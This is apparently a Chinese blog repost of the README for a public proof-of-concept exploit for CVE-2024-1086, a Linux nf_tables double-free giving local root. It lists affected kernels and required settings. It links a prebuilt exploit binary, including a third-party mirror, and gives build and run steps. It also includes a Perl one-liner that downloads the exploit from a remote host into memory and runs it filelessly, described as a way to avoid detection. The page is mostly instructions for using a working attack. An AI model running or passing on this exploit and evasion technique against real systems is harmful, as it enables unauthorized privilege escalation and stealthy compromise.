CVE-2024-1086 poc linux提权漏洞
漏洞描述
https://nvd.nist.gov/vuln/detail/CVE-2024-1086
Linux内核的netfilter: nf_tables组件中存在的使用后释放漏洞可被利用以实现本地权限提升。
nft_verdict_init()函数允许在hook verdict中使用正值作为drop error,因此当使用类似于NF_ACCEPT的drop error发出NF_DROP时,nf_hook_slow()函数可能会导致双重释放漏洞。
漏洞利用概览
CVE-2024-1086 poc
https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit
直链下载地址
https://lp.lmboke.com/CVE-2024-1086-1.0.0.zip
CVE-2024-1086的通用本地权限提升漏洞概念验证,适用于 v5.14 和 v6.6 之间的大多数 Linux 内核,包括 Debian、Ubuntu 和 KernelCTF。 KernelCTF图像中的成功率为99.4%。
漏洞分析
有关该漏洞的完整描述(包括背景信息和大量有用图表)可以在Flipping Pages 博客文章中找到。
受影响的版本
该漏洞影响从(包括)v5.14 到(包括)v6.6 的版本,不包括修补分支 v5.15.149>、v6.1.76>、v6.6.15>。这些版本的补丁于 2024 年 2 月发布。
底层漏洞影响从 v3.15 到 v6.8-rc1 的所有版本(不包括已修补的稳定分支)。
注意事项:
该漏洞不适用于带有 kconfig 的 v6.4> 内核
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
(包括 Ubuntu v6.5)该漏洞利用需要用户命名空间 (kconfig
CONFIG_USER_NS=y
),这些用户命名空间没有特权 (sh commandsysctl kernel.unprivileged_userns_clone
= 1),并且 nf_tables 已启用 (kconfigCONFIG_NF_TABLES=y
)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。该漏洞在具有大量网络活动的系统上可能不稳定
带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
在测试设备上,请通过 BIOS 关闭 WiFi 适配器。
用法
配置
默认值应该可以在 Debian、Ubuntu 和 KernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h
。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM
.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG
以1
避免不必要的网络活动。
构建
如果这对您来说不切实际,可以使用默认配置编译的 x64 二进制文件。
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
二进制文件:CVE-2024-1086/exploit
运行
运行漏洞利用程序也同样简单:
./exploit
在需要避免检测的渗透测试情况下,还支持无文件执行。但是,需要在目标上安装 Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
免责声明
本软件目录/文件夹/存储库(“存储库”)中的程序和脚本(“程序”)仅出于教育/研究目的而发布、开发和分发。我(“创建者”)和发布者不容忍任何恶意或非法使用此存储库中的程序,因为目的是共享研究成果,而不是利用它进行非法活动。对于您使用此存储库中的程序所做的任何事情,我不承担任何法律责任。
项目地址
github
https://github.com/Notselwyn/CVE-2024-1086